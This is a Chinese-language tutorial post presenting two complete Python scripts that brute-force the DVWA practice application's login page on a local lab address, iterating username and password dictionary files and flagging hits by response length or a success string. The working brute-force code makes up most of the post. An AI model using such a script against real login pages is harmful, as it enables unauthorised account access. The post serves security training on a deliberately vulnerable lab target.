测试靶机为DVWA,适合DVWA暴力破解模块的Low和Medium等级
关键代码解释
url指定url地址
url = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
header设置请求头
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0;
WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium;
PHPSESSID=geo7gb3ehf5gfnbhrvuqu545i7'
}
payload设置请求参数
payload = {'username':username,'password':password,"Login":'Login'}
这一行的作用是作一次get请求,响应信息被变量Response接收
Response = requests.get(url,params=payload,headers=header)
这两行代码循环遍历账号和密码字典文件,之后给他们做笛卡尔积循环暴力破解
这种方式和burp的Intruder模块的Cluster bomb攻击方式一样
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
然后把循环结果存放到csv文件里,用逗号分割数据
Response.status_code
是响应的http状态码,len(Response.content)
是http响应报文的长度
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')
完整代码 方法一
登陆成功的和失败返回数据不同,所以数据包长度也不同。包长度与其他不同的数据,可能就是正确的账号密码。
import requestsurl = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}#代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0;
WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium;
PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}f = open('result.csv','w')
f.write('状态码' + ',' + '用户名' + ',' + '密码' + ',' + '包长度' + '\n')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
result = str(Response.status_code) + ',' + username + ','\
+ password + ',' + str(len(Response.content))
f.write(result + '\n')print('\n完成')
运行结果 运行
![一个简单的Python暴力破解网站登录密码脚本](https://img.it610.com/image/info9/0f7c3e53c8e14ec6a8b96b8cbe6c2fd8.jpg)
文章图片
这就是脚本发送的数据包
![一个简单的Python暴力破解网站登录密码脚本](https://img.it610.com/image/info9/3f2cd0e4e66243d6b0d97cdc55df4c90.jpg)
文章图片
查看结果
![一个简单的Python暴力破解网站登录密码脚本](https://img.it610.com/image/info9/7fd79f7d3c4541bf9992b3de334f1332.jpg)
文章图片
查看包长度与其他不同的数据,登录测试
![一个简单的Python暴力破解网站登录密码脚本](https://img.it610.com/image/info9/8d7a8d80890d48748970cdde2476e9ed.jpg)
文章图片
方法二
这个方法是根据登陆成功的返回特征来判断是否为正确的账号密码,然后把正确的账号密码输出到屏幕和txt文件里
主要改动在第17到20行
import requestsurl = "http://192.168.171.2/dvwa/vulnerabilities/brute/"
#proxies= {"http":"http://127.0.0.1:8080"}#代理设置,方便burp抓包查看
header = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0;
WOW64;
rv:46.0) Gecko/20100101 Firefox/46.0',
'Cookie':'security=medium;
PHPSESSID=bdi0ak5mqbud69nrnejgf8q00u'
}f = open('result.txt','w')
for admin in open("C:\\Users\\admin\\Documents\\字典\\账号.txt"):
for line in open("C:\\Users\\admin\\Documents\\字典\\密码.txt"):
username = admin.strip()
password = line.strip()
payload = {'username':username,'password':password,"Login":'Login'}
Response = requests.get(url,params=payload,headers=header)
if not(Response.text.find('Welcome to the password protected area')==-1):
result = username + ':' + password
print(result)
f.write(result + '\n')print('\n完成')
运行结果 【一个简单的Python暴力破解网站登录密码脚本】
![一个简单的Python暴力破解网站登录密码脚本](https://img.it610.com/image/info9/632bfe2218f744afac8e831b935bd145.jpg)
文章图片
![一个简单的Python暴力破解网站登录密码脚本](https://img.it610.com/image/info9/46d5b8553adb41a7934a36a89489574e.jpg)
文章图片
推荐阅读
- 推荐系统论文进阶|CTR预估 论文精读(十一)--Deep Interest Evolution Network(DIEN)
- Python专栏|数据分析的常规流程
- Python|Win10下 Python开发环境搭建(PyCharm + Anaconda) && 环境变量配置 && 常用工具安装配置
- Python绘制小红花
- Pytorch学习|sklearn-SVM 模型保存、交叉验证与网格搜索
- OpenCV|OpenCV-Python实战(18)——深度学习简介与入门示例
- python|8. 文件系统——文件的删除、移动、复制过程以及链接文件
- 爬虫|若想拿下爬虫大单,怎能不会逆向爬虫,价值过万的逆向爬虫教程限时分享
- 分布式|《Python3网络爬虫开发实战(第二版)》内容介绍
- java|微软认真聆听了开源 .NET 开发社区的炮轰( 通过CLI 支持 Hot Reload 功能)